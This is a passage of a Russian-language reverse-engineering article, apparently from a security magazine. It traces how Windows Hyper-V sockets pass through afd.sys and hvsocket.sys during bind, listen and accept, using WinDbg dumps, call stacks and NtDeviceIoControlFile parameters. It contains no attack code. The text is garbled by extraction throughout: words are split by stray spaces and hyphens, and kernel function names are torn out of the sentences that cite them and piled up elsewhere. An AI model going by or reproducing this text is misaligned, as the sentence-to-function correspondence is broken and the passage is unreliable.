__WINDBG>dc esi — при этом в esi virtual machine ID GUID ‐6a964317‐1
d87‐4a74‐abf9‐46a69b048900 (GUID, который возвращается на сервере при
выполнении командлета Get‐VM | select ID, Name)__

00affb2c  00000022 6a964317 4a741d87 a646f9ab  "....C.j..tJ..F.
00affb3c  0089049b b1d00d3e 4570fe10 487662ad  ....>.....pE.bvH
00affb4c  1b7a9d77 6a964317 4a741d87 a646f9ab  w.z..C.j..tJ..F.  
????????????
00affb5c  0089049b b1d00d3e 4570fe10 487662ad  ....>.....pE.bvH
00affb6c  1b7a9d77 00d90000 40000062 02020202  w.z.....b..@....
00affb7c  536e6957 206b636f 00302e32 00000000  WinSock 2.0.....

Срав нение  GUID  про изво дит ся  сна чала  с  HV_GUID_LOOPBACK,  затем
с  HV_GUID_BROADCAST  и  потом  с  HV_GUID_ZERO.  Пос ле  воз вра щает ся  0.
Перед этим была про вер ка вто рого аргу мен та на пре выше ние 24 и пер вого
dword  1  аргу мен та  на  равенс тво  с  22.  В  про тив ном  слу чае  воз вра щалась
ошиб ка (271E и 273F соот ветс твен но).

Да лее  идут  раз личные  про вер ки,  затем  вызыва ется 
:

ntdll!NtDeviceIo‐
ControlFile

NTSTATUS WINAPI NtDeviceIoControlFile(
 _In_  HANDLE           FileHandle, ‐ 144 (\Device\Afd\Endpoint). На
клиенте будет \Device\Afd
 _In_  HANDLE           Event, ‐ 140 (Event)
 _In_  PIO_APC_ROUTINE  ApcRoutine, 0
 _In_  PVOID            ApcContext, 0
 _Out_ PIO_STATUS_BLOCK IoStatusBlock, F6F728
 _In_  ULONG            IoControlCode, 12003
 _In_  PVOID            InputBuffer, 1223088
 _In_  ULONG            InputBufferLength,28
 _Out_ PVOID            OutputBuffer, 1223088
 _In_  ULONG            OutputBufferLength 24

);

Для наг ляднос ти про верим с помощью ути литы из ком плек та Sysinternals Suite

handle.exe ‐a ‐p ServerExample.exe
140: Event
144: File  (‐‐‐)   \Device\Afd\Endpoint (На клиенте будет \Device\Afd
)
__WINDBG>dc 1223088 1223088+28__
01223088  00000000 00000022 00000000 00000000  ...."...........
01223098  00000000 00000000 b1d00d3e 4570fe10  ........>.....pE — 
GUID нашего сервиса VMSession
012230a8  487662ad 1b7a9d77 abababab           .bvHw.z.....

Драй вер   регис три рует свой обра бот чик IOCTL‐кодов.afd.sys

__0: kd> !drvobj afd 2__
Driver object (ffffa40eb952c0d0) is for:
\Driver\AFD

Dispatch routines:
[0e] IRP_MJ_DEVICE_CONTROL              fffff8008ab7d460    afd!
AfdDispatchDeviceControl
Fast I/O routines:
FastIoRead fffff80aa54fbed0 afd!AfdFastIoRead
FastIoWrite fffff80aa54fbfd0 afd!AfdFastIoWrite
FastIoUnlockAll fffff80aa55018f0 afd!AfdSanFastUnlockAll
FastIoDeviceControl fffff80aa54f1ab0 afd!AfdFastIoDeviceControl

Рас смот рим, что про исхо дит в ядре на этом эта пе. IOCTL‐коду 12003 из таб‐ 
лицы  AfdIoctlTable  в  таб лице  AfdIrpCallDispatch  соот ветс тву ет  ,
которая вызыва ется из  .

afd!AfdBind
afd!AfdDispatchDeviceControl

Фун кции   в rcx переда ется ука затель на IRP.afd!AfdBind

Спер ва  про исхо дит  про вер ка  раз меров  вхо дящих  и  исхо дящих  буферов
(24  и  28)  и  дру гих  парамет ров.  Выделя ется  пул  раз мером  0x24,  и  в  него
переме щают ся переда ваемые парамет ры из usermode.

__WINDBG>dc @rdx — параметр memmove__
00000000`0122308c  00000022 00000000 00000000 00000000  
"...............
00000000`0122309c  00000000 b1d00d3e 4570fe10 487662ad  ....>.....pE.
bvH
00000000`012230ac  1b7a9d77                     

С кли ент ской сто роны буфер будет выг лядеть так:

__WINDBG>dc @rdx__
00000000`013d38fc  00000022 6a964317 4a741d87 a646f9ab  "....C.j..
tJ..F.
00000000`013d390c  0089049b b1d00d3e 4570fe10 487662ad  ....>.....pE.
bvH
00000000`013d391c  1b7a9d77

Да лее идет вызов   (Length 0x24).nt!IoAllocateMdl

__WINDBG>dt nt!_MDL @rax — результат выполнения IoAllocateMdl__
  +0x000 Next             : (null) 
  +0x008 Size             : 0n56
  +0x00a MdlFlags         : 0n8
  +0x00c AllocationProcessorNumber : 0
  +0x00e Reserved         : 0xffff
  +0x010 Process          : 0xffffda85`293c9840 _EPROCESS
  +0x018 MappedSystemVa   : 0xffff9080`27c4903c Void
  +0x020 StartVa          : 0x00000000`01223000 Void
  +0x028 ByteCount        : 0x24
  +0x02c ByteOffset       : 0x88

В rcx адрес UserBuffer из парамет ров  , затем заг рузка стра‐ 
ниц  из  фай ла  под качки  (если  они  успе ли  туда  попасть)  и  их  бло киров ка
в памяти с  помощью  . Для  выделен ного пула раз‐ 
мером 0x24 уста нав лива ется тип кеширо вания cached с помощью 

, а так же опции HighPagePriority и 
.

DeviceIoControl

nt!MmProbeAndLockPages
nt!MmMap‐

LockedPagesSpecifyCache MdlMappingNo‐
Execute

 →   →    (из
пос ледней выходим в   сра зу пос ле вызова 

,  толь ко  затем  воз вра щаем ся  непос редс твен но  на  выход
из  ).  Вызыва ем    (пер вый
параметр  —  все  тот  же  IRP,  вто рой  —  объ ект  _AFD_CONNECTION).  Далее

 (парамет ры те же). В фун кции  .

Afd!AfdTLBindSecurity afd!AfdTLBind afd!AfdTLIoControl
afd!AfdTLBindComplete afd!Afd‐

TLBindComplete2
afd!AfdTLIoControl afd!AfdTLBindSecurity

afd!AfdTlBind afd!AfdTLBind

В rcx при этом заг рузилось  .hvsocket!VmbusTlProviderEndpointDispatch

__WINDBG>dps @rcx L50 — таблица обработчиков из hvsocket.sys__
fffff803`db95c048  fffff803`db952460 hvsocket!VmbusTlCommonPr
oviderCloseEndpoint
fffff803`db95c050  fffff803`db963210 hvsocket!VmbusTlEndpoint
IoControlEndpoint
fffff803`db95c058  fffff803`db95a8c0 hvsocket!TlDefaultReques
tQueryDispatchEndpoint
fffff803`db95c060  fffff803`db952460 hvsocket!VmbusTlCommonPr
oviderCloseEndpoint
fffff803`db95c068  fffff803`db963be0 hvsocket!VmbusTlListener
IoControlEndpoint
fffff803`db95c070  fffff803`db95a8c0 hvsocket!TlDefaultReques
tQueryDispatchEndpoint
fffff803`db95c078  fffff803`db95a8d0 hvsocket!TlDefaultRequestResume
fffff803`db95c080  fffff803`db954300 hvsocket!VmbusTlConnecti
onCloseEndpoint
fffff803`db95c088  fffff803`db965fc0 hvsocket!VmbusTlConnecti
onIoControlEndpoint
fffff803`db95c090  fffff803`db95a8c0 hvsocket!TlDefaultReques
tQueryDispatchEndpoint
fffff803`db95c098  fffff803`db954c60 hvsocket!VmbusTlConnectionSend
fffff803`db95c0a0  fffff803`db954ea0 hvsocket!VmbusTlConnecti
onReceive
fffff803`db95c0a8  fffff803`db9585a0 hvsocket!VmbusTlConnecti
onDisconnect
fffff803`db95c0b0  00000001`00000000
fffff803`db95c0b8  00000000`00000000
fffff803`db95c0c0  fffff803`db969de0 hvsocket!VmbusTlXPartAcc
eptConnection
fffff803`db95c0c8  00000000`00000000
fffff803`db95c0d0  fffff803`db959830 hvsocket!VmbusTlXPartPro
cessIoRequest
fffff803`db95c0d8  00000000`00000000
fffff803`db95c0e0  fffff803`db959890 hvsocket!VmbusTlXPartIoR
equestCompleted
fffff803`db95c0e8  fffff803`db959950 hvsocket!VmbusTlXPartRel
easeReceiveIndications
fffff803`db95c0f0  fffff803`db969ee0 hvsocket!VmbusTlXPartDisconnect
fffff803`db95c0f8  fffff803`db959820 hvsocket!VmbusTlXPartSen
dConsumptionNotice
fffff803`db95c100  fffff803`db959940 hvsocket!VmbusTlXPartIsI
ncomingEmpty
fffff803`db95c108  00000000`00000000
fffff803`db95c110  00000001`00000000
fffff803`db95c118  fffff803`db96a430 hvsocket!VmbusTlLoopback
SetupConnection
fffff803`db95c120  fffff803`db96a6b0 hvsocket!VmbusTlLoopback
AcceptConnection
fffff803`db95c128  00000000`00000000
fffff803`db95c130  fffff803`db959ed0 hvsocket!VmbusTlLoopback
ProcessIoRequest
fffff803`db95c138  fffff803`db96a850 hvsocket!VmbusTlLoopback
PostprocessIoRequest
fffff803`db95c140  fffff803`db959f10 hvsocket!VmbusTlLoopback
IoRequestCompleted
fffff803`db95c148  fffff803`db959f30 hvsocket!VmbusTlLoopback
ReleaseReceiveIndications
fffff803`db95c150  fffff803`db95a0c0 hvsocket!VmbusTlLoopback
Disconnect
fffff803`db95c158  fffff803`db95a340 hvsocket!VmbusTlLoopback
NotifyReceiveConsumed
fffff803`db95c160  fffff803`db95a2f0 hvsocket!VmbusTlLoopback
IsIncomingEmpty

За тем  вызыва ется    (перед  вызовом фор миру ется  дос‐ 
таточ но  боль шой  набор  парамет ров),  пер вым  парамет ром  идет  ука затель
на фун кцию  ,  которая  затем
и выпол няет ся. Затем вызыва ется 

. В ходе выпол нения получа ем рекур сию:

afd!AfdTLIoControl

hvsocket!VmbusTlEndpointIoControlEndpoint
hvsocket!VmbusTlHandleEndpointIoCon‐

trol

__WINDBG>kc__
Call Site
afd!AfdTLIoControl
afd!AfdTLBindComplete2
afd!AfdTLBindComplete
afd!AfdTLIoControl
afd!AfdTLBind
afd!AfdTLBindSecurity
afd!AfdBind
nt!IopSynchronousServiceTail 

На  этот  раз  из    вызыва ется
, а из нее 
. В пер вом парамет ре фун кции по сме‐ 

щению +80h связ ный спи сок:

hvsocket!VmbusTlHandleEndpointIoControl
hvsocket!VmbusTlContainerGetVmId hvsocket!VmbusTlFindAnd‐
ReferencePartitionByContainerId

__WINDBG>!list @rcx+80h__
ffffda85`27f6bb00  ffffda85`27f009e8 ffffda85`27f009e8
ffffda85`27f6bb10  00000000`00000001 ffffda85`27f6bb18
ffffda85`27f6bb20  ffffda85`27f6bb18 ffffda85`27f00910
ffffda85`27f6bb30  00000000`00000000 0000257a`d80d0eb8
ffffda85`27f6bb40  ffffda85`27f2de20 00000000`00000000
ffffda85`27f6bb50  00000000`00000000 00000000`00000000
ffffda85`27f6bb60  00000000`00000000 00000000`00000000
ffffda85`27f6bb70  00000000`00000000 00000000`00000000
ffffda85`27f009e8  ffffda85`27f6bb00 ffffda85`27f6bb00
ffffda85`27f009f8  4f790d35`90db8b89 cdb7c80a`ea49e98c  – HV_CHI
LD_GUID
ffffda85`27f00a08  00000000`00000000 ffffda85`27f00a10
ffffda85`27f00a18  00000000`00000000 00000000`00000000
ffffda85`27f00a28  00000000`00000000 00000000`00000000
ffffda85`27f00a38  00000000`00000000 00000000`00000000
ffffda85`27f00a48  00000000`00000000 00000000`00000000
ffffda85`27f00a58  fffff803`db9516c0 fffff803`db951db0

Продолжение статьи →
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Ес ли вклю чить гос тевую вир туаль ную машину, то появит ся еще один эле мент:

ffffb08b`93e490e8 ffffb08b`923a9700 ffffb08b`924390e8
ffffb08b`93e490f8 4a741d87`6a964317 0089049b`a646f9ab — GUID 
включенной виртуальной машины, где запустится клиентская часть
ffffb08b`93e49108 00000000`00000001 ffffb08b`93e49110
ffffb08b`93e49118 00000000`00000000 00000000`00000000
ffffb08b`93e49128 00000000`00000000 00000000`00000000
ffffb08b`93e49138 00000000`00000000 00000000`00000000
ffffb08b`93e49148 00000000`00000000 00000000`00000000
ffffb08b`93e49158 fffff805`2dfc16c0 fffff805`2dfc1db0

Фун кция про изво дит поиск по это му связ ному спис ку и воз вра щает струк туру,
в которой по сме щению +E8h содер жится ука затель на HV_GUID_CHILDREN,
если  вто рой  параметр,  передан ный фун кции 

,  сов пада ет  со  зна чени ем,  раз мещен ным по сме щению +18Ch этой
струк туры. Далее идет  .

hvsocket!VmbusTlContainer‐
GetVmId

afd!AfdTLBindGetAddrComplete
Стек такой (мы все еще внут ри  ):afd!AfdTLBindComplete2

__WINDBG>kc__
Call Site
afd!AfdTLBindGetAddrComplete
afd!AfdTLIoControl
afd!AfdTLBindComplete2
afd!AfdTLBindComplete
afd!AfdTLIoControl
afd!AfdTLBind
afd!AfdTLBindSecurity
afd!AfdBind

В ней вызыва ется  ,  а  копиру емый буфер выг лядит
сле дующим обра зом.

tdi!TdiCopyBufferToMdl

Пос ле  копиро вания  пос ледова тель но  вызыва ются 
и  , а затем  . Выпол нение 

 завер шает ся. В EAX сно ва при нуди тель но записы вает ся 103h.
Как  мы  видели  рань ше,  имен но  это  зна чение  вер нет  фун кция 

. В этом слу чае допол нитель но вызыва ется 
.

nt!MmUnlockPages
nt!ioFreeMdl nt!IofCompleteRequest afd!AfdTl‐

BindSecurity
NtDeviceIo‐

ControlFile mswsock!SockWait‐
ForSingleObject

В  usermode,  как  и  при  выпол нении  socket,  вызыва ется 
,  из  которой  сно ва  вызыва ется  .

На этот раз

mswsock!SockSet‐
HandleContext NtDeviceIoControlFile

NTSTATUS WINAPI NtDeviceIoControlFile(
 _In_  HANDLE           FileHandle, ‐ 144 (\Device\Afd\Endpoint). На
клиенте будет \Device\Afd
 _In_  HANDLE           Event, ‐ 140 (Event)
 _In_  PIO_APC_ROUTINE  ApcRoutine, 0
 _In_  PVOID            ApcContext, 0
 _Out_ PIO_STATUS_BLOCK IoStatusBlock, F6F600
 _In_  ULONG            IoControlCode, 12047 (afd!AfdDispatchImme

diateIrp)
 _In_  PVOID            InputBuffer, F6F608
 _In_  ULONG            InputBufferLength,D4
 _Out_ PVOID            OutputBuffer, 0
 _In_  ULONG            OutputBufferLength 0

);

В input‐буфере.

Об работ ка дан ных сно ва будет про ходить через FastIo. В этом слу чае поиск
фун кции,  обра баты вающей  зна чение,  про изво дит ся  в  таб лице 

.  В  нашем  слу чае  обра бот чиком  ста нет
.  Вна чале  отклю чает ся  дос тавка  всех  APC  текуще му

потоку  с  помощью  ,  содер жимое  UserBuffer
копиру ется  в  одно из  полей  струк туры  _AFD_CONNECTION. Фун кция  завер‐ 
шает ся вызовом  . Воз вра щаем ся в при ложе ние.

AfdImmedi‐
ateCallDispatch
Afd!AfdSetContext

nt!KeEnterGuardedRegion

nt!KeLeaveGuardedRegion

Listen
Да лее сер верное при ложе ние вызыва ет Listen. Usermode рас смат ривать осо‐ 
бо  не  будем,  сра зу  обра тим ся  к  фун кции  .  Все  так  же
вызов идет через  .

afd!AfdStartListen
ntdll!NtDeviceIoControlFile

NTSTATUS WINAPI NtDeviceIoControlFile(
 _In_  HANDLE           FileHandle, ‐ 144 (\Device\Afd\Endpoint).
 _In_  HANDLE           Event, ‐ 140 (Event)
 _In_  PIO_APC_ROUTINE  ApcRoutine, 0
 _In_  PVOID            ApcContext, 0
 _Out_ PIO_STATUS_BLOCK IoStatusBlock, F6F798
 _In_  ULONG            IoControlCode, 1200B (afd!AfdStartListen)
 _In_  PVOID            InputBuffer, F6F7A0
 _In_  ULONG            InputBufferLength,C
 _Out_ PVOID            OutputBuffer, 0
 _In_  ULONG            OutputBufferLength 0

);
__WINDBG>dc F6F7A0__
00f6f7a0  00000100 7fffffff 00000000

В ядре InputBuffer срав нива ется с  , затем фор миру ется
SLIST_ENTRY.  В  струк туру  _AFD_CONNECTION  в  поле  «тип»  записы вает‐ 
ся 0AFD 4. Вызыва ется  , затем  ,
отку да вызыва ется  ,  затем 

,  отку да  вызыва ется 
POOL_TYPE — 200h (NonPagedPoolNx), про цесс текущий.

AfdUserProbeAddress

afd!AfdRefTLBaseEndpoint afd!AfdTLListen
hvsocket!VmbusTlProviderListen hvsocket!Vm‐

busTlCreateEndpoint nt!PsChargeProcessPoolQuota

За тем  ,  вызыва ется
  для  буфера  раз мером  130h,  тег  Vnpi,  затем 

, затем выпол няет ся ини циали зация Work
queue  (Netio!NetioInitializeWorkQueue)  с  парамет ром 

,  далее 
,  отку да  вызыва ется 

:

hvsocket!VmbusTlCreateObjectFromLookasideList
nt!ExAlocatePoolWithTag hv‐
socket!VmbusTlInitializeObject

hvsocket!VmbusTlEnd‐
pointActionWorkQueueRoutine hvsocket!VmbusTlAssociateLis‐
tenerToPartition hvsocket!VmbusTlFindAndReferen‐
cePartitionByContainerId

__WINDBG>kc__
Call Site
hvsocket!VmbusTlAssociateListenerToPartition
hvsocket!VmbusTlProviderListen
afd!AfdTLListen
afd!AfdStartListen
nt!IopSynchronousServiceTail
nt!IopXxxControlFile
nt!NtDeviceIoControlFile

За тем  вызыва ется  , 
,  отку да 

,  фун кция  завер шает ся  (в  rax  —  0),  и  идет  про вер ка  того,
с  каким  раз делом  мы  работа ем.  Получа ем  HV_CHILDREN_GUID,  сно ва
вызыва ем    и  еще  раз  —

, в r14 воз вра щает ся 0C0000225.

hvsocket!VmbusTlResolvePartitionId hvsocket!Vm‐
busTlGetPartitionListenerEndpoint hvsocket!VmbusTlFindOr‐
CreateService

hvsocket!VmbusTlFindOrCreateService
hvsocket!VmbusTlFindOrCreateService

Да лее идет вызов  , затем
,  из  которой  вызыва ется  пос‐ 

ледова тель ность

hvsocket!VmbusTlFindAndReferencePartition
hvsocket!VmbusTlEndpointIsPrivileged

    call    cs:__imp_SeCaptureSubjectContextEx
    lea     rcx, [rbp+SubjectSecurityContext]
    call    cs:__imp_SeLockSubjectContext
    call    cs:__imp_IoGetFileObjectGenericMapping

Фун кция воз вра щает

__WINDBG>dt _GENERIC_MAPPING @rax__
combase!_GENERIC_MAPPING
+0x000 GenericRead : 0x120089
+0x004 GenericWrite : 0x120116
+0x008 GenericExecute : 0x1200a0
+0x00c GenericAll : 0x1f01ff

За тем   и  . Резуль‐ 
тат  фун кции    при  одной  из  трас‐ 
сировок:

nt!SeAccessCheck nt!ObDereferenceSecurityDescriptor
hvsocket!VmbusTlEndpointIsPrivileged

__WINDBG>!error @rax__
Error code: (NTSTATUS) 0xc0000022 (3221225506) — {Access Denied}  A 
process has requested access to an object, but has not been granted 
those access rights. (Правда, последний байт результата на выходе 
обнуляется.) 

В  hvsocket  есть  перемен ная
hvsocket!VmbusTlEndpointSecurityDescriptor

__WINDBG>!sd hvsocket!VmbusTlEndpointSecurityDescriptor__
‐>Revision: 0x1
‐>Sbz1 : 0x0
‐>Control : 0x4
SE_DACL_PRESENT
‐>Owner : is NULL
‐>Group : is NULL
‐>Dacl : 
‐>Dacl : ‐>AclRevision: 0x2
‐>Dacl : ‐>Sbz1 : 0x0
‐>Dacl : ‐>AclSize : 0x34
‐>Dacl : ‐>AceCount : 0x2
‐>Dacl : ‐>Sbz2 : 0x0
‐>Dacl : ‐>Ace[0]: ‐>AceType: ACCESS_ALLOWED_ACE_TYPE
‐>Dacl : ‐>Ace[0]: ‐>AceFlags: 0x3
‐>Dacl : ‐>Ace[0]: OBJECT_INHERIT_ACE
‐>Dacl : ‐>Ace[0]: CONTAINER_INHERIT_ACE
‐>Dacl : ‐>Ace[0]: ‐>AceSize: 0x14
‐>Dacl : ‐>Ace[0]: ‐>Mask : 0x000f003f
‐>Dacl : ‐>Ace[0]: ‐>SID: S‐1‐5‐18
‐>Dacl : ‐>Ace[1]: ‐>AceType: ACCESS_ALLOWED_ACE_TYPE
‐>Dacl : ‐>Ace[1]: ‐>AceFlags: 0x3
‐>Dacl : ‐>Ace[1]: OBJECT_INHERIT_ACE
‐>Dacl : ‐>Ace[1]: CONTAINER_INHERIT_ACE
‐>Dacl : ‐>Ace[1]: ‐>AceSize: 0x18
‐>Dacl : ‐>Ace[1]: ‐>Mask : 0x000f003f
‐>Dacl : ‐>Ace[1]: ‐>SID: S‐1‐5‐95‐0
‐>Sacl : is NULL

 воз вра щает c0000000, сно ва идет
вызов  .
hvsocket!VmbusTlEndpointIsPrivileged

hvsocket!VmbusTlFindOrCreateService

__WINDBG>kc__
Call Site
hvsocket!VmbusTlFindOrCreateService
hvsocket!VmbusTlAssociateListenerToPartition
hvsocket!VmbusTlProviderListen
afd!AfdTLListen
afd!AfdStartListen
nt!IopSynchronousServiceTail
nt!IopXxxControlFile
nt!NtDeviceIoControlFile

И  толь ко  теперь  вызыва ется  ,  сос тоящий
из двух вызовов:

hvsocket!VmbusTlCreateService

;• hvsocket!VmbusTlCreateObject

.• hvsocket!VmbusTlInitializeObjectTable

Соз дает ся AVL‐таб лица.

VOID RtlInitializeGenericTableAvl(
 _Out_    PRTL_AVL_TABLE            Table,
 _In_     PRTL_AVL_COMPARE_ROUTINE  CompareRoutine, ‐ hvsocket!

VmbusTlCompareGuids
 _In_     PRTL_AVL_ALLOCATE_ROUTINE AllocateRoutine, ‐ hvsocket!

VmbusTlAllocateForAvlTable
 _In_     PRTL_AVL_FREE_ROUTINE     FreeRoutine, ‐ hvsocket!VmbusT

lFreeForAvlTable
 _In_opt_ PVOID                     TableContext

);

Пос ле ини циали зации таб лицы получа ем:

__WINDBG>dt nt!_RTL_AVL_TABLE ffffb904c25c9f60__
+0x000 BalancedRoot : _RTL_BALANCED_LINKS
+0x020 OrderedPointer : (null) 
+0x028 WhichOrderedElement : 0
+0x02c NumberGenericTableElements : 0
+0x030 DepthOfTree : 0
+0x038 RestartKey : (null) 
+0x040 DeleteCount : 0
+0x048 CompareRoutine : 0xfffff80a`6d6d16c0 _RTL_GENERIC_COMPARE_RES
ULTS hvsocket!VmbusTlCompareGuids+0
+0x050 AllocateRoutine : 0xfffff80a`6d6d1db0 void* hvsocket!VmbusT
lAllocateForAvlTable+0
+0x058 FreeRoutine : 0xfffff80a`6d6d1dd0 void hvsocket!VmbusT
lFreeForAvlTable+0
+0x060 TableContext : 0x00000000`694c6353 Void

Вы зов    завер шен,  затем  вызыва‐ 
ется  ,  а  в  ней

.

hvsocket!VmbusTlFindOrCreateService
hvsocket!VmbusTlAssociateListenerToService

hvsocket!VmbusTlInsertObjectToTable
Пос ле это го таб лица выг лядит так:

__WINDBG>dt nt!_RTL_AVL_TABLE ffffb904c25c9f60__
+0x000 BalancedRoot : _RTL_BALANCED_LINKS
+0x020 OrderedPointer : (null) 
+0x028 WhichOrderedElement : 0
+0x02c NumberGenericTableElements : 1
+0x030 DepthOfTree : 1
+0x038 RestartKey : (null) 
+0x040 DeleteCount : 0

За вер шает ся  ,  затем
вызыва ется    и 

  и  ,
из которой вызыва ется   (в качес тве про цеду ры
обра бот ки  переда ется 

,  воз вра щаем ся  в  ,  где  про исхо дит  вызов
 и затем  .

hvsocket!VmbusTlAssociateListenerToPartition
afd!AfdTLListenComplete hvsocket!VmbusTlCommon‐

ProviderCloseEndpoint hvsocket!VmbusTlQueueEndpointAction
netio!NetioInsertWorkQueue

hvsocket!VmbusTlEndpointActionWorkQueueRou‐
tine) afd!AfdTlListenComplete
afd!AfdDerefTLBaseEndpoint nt!IofCompleteRequest

Воз вра щаем ся  в  ,  далее  вызыва ется
,  отку да

вызыва ется  ,  затем  — 
, воз вра щает ся 103h, выход из afd, воз‐ 

вра щаем ся в usermode.

hvsocket!VmbusTlProviderListen
hvsocket!VmbusTlListenerProcessPendingIncomingConnection

hvsocket!VmbusTlGetPendingConnection hvsock‐
et_VmbusTlpGetPendingConnection

Да лее  вызыва ется  .  Содер жимое  User‐
Buffer для  .

mswsock!SockSetHandleContext
ntdll!NtDeviceIoControlFile

Воз вра щаем ся в при ложе ние, выпол няет ся вызов accept.

Accept
Вы зыва ется  , затем  , затем 

:
ws2_32!WSAAccept mswsock!WSPAccept NtDevice‐

IoControlFile

NTSTATUS WINAPI NtDeviceIoControlFile(
 _In_  HANDLE           FileHandle, ‐ 144 (\Device\Afd\Endpoint).
 _In_  HANDLE           Event, ‐ 140 (Event)
 _In_  PIO_APC_ROUTINE  ApcRoutine, 0
 _In_  PVOID            ApcContext, 0
 _Out_ PIO_STATUS_BLOCK IoStatusBlock, F6F5D0
 _In_  ULONG            IoControlCode, 1200С (afd!AfdWaitForListen).
Что интересно, IOCTL 12090 ссылается на ту же самую функцию
 _In_  PVOID            InputBuffer, 0
 _In_  ULONG            InputBufferLength,0
 _Out_ PVOID            OutputBuffer, F6F730
 _In_  ULONG            OutputBufferLength 28

);
__WINDBG>k__
Child‐SP          RetAddr           Call Site
afd!AfdWaitForListen
nt!IopSynchronousServiceTail+0x1a0
nt!IopXxxControlFile+0x674
nt!NtDeviceIoControlFile+0x56
nt!KiSystemServiceCopyEnd+0x13

Input‐буфер,  как  вид но,  отсутс тву ет,  толь ко  output.  Управле ние  перехо дит
к  ,  вызыва ется  .
Пер вый параметр — _AFD_CONNECTION, выпол няет ся срав нение эле мен та
по  сме щению  +50h  с  адре сом  самой  струк туры,  воз вра щает ся  0.  Далее
в IRP→CancelRoutine записы вает ся  .

afd!AfdWaitForListen afd!AfdGetUnacceptedConnection

afd!AfdCancelWaitForListen
Дру гие фун кции не вызыва ются, выпол нение в afd завер шает ся, воз вра та

из    непос редс твен но  в  при ложе ние  не  про исхо дит.
Пос мотрим,  куда  же  переда ется  управле ние.  Все  вызовы  nt  завер шают ся
инс трук цией sysret, которая переда ет управле ние в usermode по адре су, ука‐ 
зан ному в rcx.

NtDeviceIoControlFile

__WINDBG>u @rcx__
ntdll!NtReadFile+0x14:
00007ff9`41586194 c3              ret
00007ff9`41586195 cd2e            int     2Eh
00007ff9`41586197 c3              ret
00007ff9`41586198 0f1f840000000000 nop     dword ptr [rax+rax]
ntdll!NtDeviceIoControlFile:
00007ff9`415861a0 4c8bd1          mov     r10,rcx
00007ff9`415861a3 b807000000      mov     eax,7
00007ff9`415861a8 f604250803fe7f01 test    byte ptr [Shared
UserData+0x308 (00000000`7ffe0308)],1
00007ff9`415861b0 7503            jne     ntdll!NtDeviceIoContr
olFile+0x15 (00007ff9`415861b5)

Инс трук ция все го одна, поэто му рас смот рим стек:

__WINDBG>dqs @r8__
00000000`0b8fbb98  00007ff9`3dfc3d34 — попадаем в недра SysWoW.dll. 

Стек при этом выг лядит так:

__WINDBG>dqs @r8 (в регистр rsp будет помещено значение r8 
непосредственно перед выполнением swapgs, sysret)__
00000000`0b8fbb98  00007ff9`3dfc3d34 KERNELBASE!ReadFile+0x74
00000000`0b8fbba0  00000000`00000000

Со дер жимое сте ка меня ется во вре мя выпол нения 
  →    →  ,  вызыва емой

из  .

nt!KeWaitForSingleOb‐
ject nt!KiCommitThreadWait nt!KiSwapThread

nt!IopSynchronousServiceTail

__WINDBG>kcn__
\# Call Site
00 nt!IopSynchronousServiceTail
01 nt!NtReadFile
02 nt!KiSystemServiceCopyEnd
03 ntdll!NtReadFile
04 KERNELBASE!ReadFile
05 SHCORE!CFileStream::Read
06 windows_storage!CShellLink::_LoadFromStream
07 windows_storage!CShellLink::_LoadFromFile
08 windows_storage!CShellLink::Load
09 windows_storage!InitializeFileHandlerWithFile
0a windows_storage!CFileSysItemString::HandlerCreateInstance
0b windows_storage!CFSFolder::_BindHandler
0c windows_storage!CFSFolder::GetUIObjectOf
0d windows_storage!CShellItem::BindToHandler
0e SHELL32!CAppResolver::GetAppIDForShortcut
0f SHELL32!CAppResolver::GetAppIDForWindow
10 Explorer!CTaskBand::CResolveWindowTask::_ResolveWindowWorker
11 Explorer!CTaskBand::CResolveWindowTask::_ResolveWindow
12 Explorer!CTaskBand::CResolveWindowTask::InternalResumeRT
13 Explorer!CRunnableTask::Run
14 windows_storage!CShellTask::TT_Run
15 windows_storage!CShellTaskThread::ThreadProc
16 windows_storage!CShellTaskThread::s_ThreadProc
17 SHCORE!ExecuteWorkItemThreadProc
18 ntdll!RtlpTpWorkCallback
19 ntdll!TppWorkerThread
1a KERNEL32!BaseThreadInitThunk
1b ntdll!RtlUserThreadStart

Со ответс твен но, воз врат про исхо дит в дру гой поток. Веро ятно, это осо бен‐ 
ности WoW 64.

Для 64‐бит ного про цес са все выпол няет ся без сюр при зов, и мы воз вра‐ 
щаем ся в конец фун кции   пос ле выпол нения sys‐
ret,  из  которой  про исхо дит  воз врат  в  ,  и  выпол нение
прог раммы  оста нав лива ется  внут ри фун кции 

.

nt!NtDeviceIoControlFile
mswsock!WSPAccept

mswsock!SockWaitForSingle‐
Object

Вы пол нение  фун кции  про дол жится,  ког да  на  кли ент ской  сто роне  будет
выпол нен  вызов  connect.  Выпол нение  accept  про дол жает ся.  Вновь  вызыва‐ 
ется    (ранее выпол нялась при вызове socket). В ней —

  (тот  же  GUID  Hyper‐V  RAW).  В  esi  ука затель
на струк туру раз мером не менее 0xCC байт. Перемен ная 

 рав на еди нице, вызовов   не про исхо‐ 
дит, сно ва ини циали зиру ется  , и вновь вызов 

.

mswsock!SockSocket
mswsock!SockGetTdiName

mswsock!SockTL‐
NPIListenerCount GetCurrentProcess

\\Device\\Afd\\Endpoint Nt‐
CreateFile

NTSTATUS NtCreateFile(
 _Out_    PHANDLE            FileHandle,‐ 00F6F4A4
 _In_     ACCESS_MASK        DesiredAccess, C0140000
 _In_     POBJECT_ATTRIBUTES ObjectAttributes, 00F6F460
 _Out_    PIO_STATUS_BLOCK   IoStatusBlock,‐ 00F6F480
 _In_opt_ PLARGE_INTEGER     AllocationSize, ‐ 00000000
 _In_     ULONG              FileAttributes,‐ 00000000
 _In_     ULONG              ShareAccess,‐ 3
 _In_     ULONG              CreateDisposition,‐3 
 _In_     ULONG              CreateOptions,0x20
 _In_     PVOID              EaBuffer, 00F6F4DC
 _In_     ULONG              EaLength , 39

);
__WINDBG>dtx _OBJECT_ATTRIBUTES 00F6F460__
(*((_OBJECT_ATTRIBUTES *)0xf6f460)) [Type: _OBJECT_ATTRIBUTES]
   [+0x000] Length           : 0x18 [Type: unsigned long]
   [+0x004] RootDirectory    : 0x0 [Type: void *]
   [+0x008] ObjectName       : 0xf6f454 : "\Device\Afd\Endpoint" [
Type: _UNICODE_STRING *]
   [+0x00c] Attributes       : 0x42 [Type: unsigned long]
   [+0x010] SecurityDescriptor : 0x0 [Type: void *]
   [+0x014] SecurityQualityOfService : 0x0 [Type: void *]

В  ядре  ана логич но:    → 
не  вызыва ется,  сра зу  идет  ,  пос ле  выпол нения

 в rax:

afd!AfdCreateFile afd!AfdCheckTDIFilter
afd!AfdAllocateEndpoint

afd!AfdTlFindAndReferenceTransport

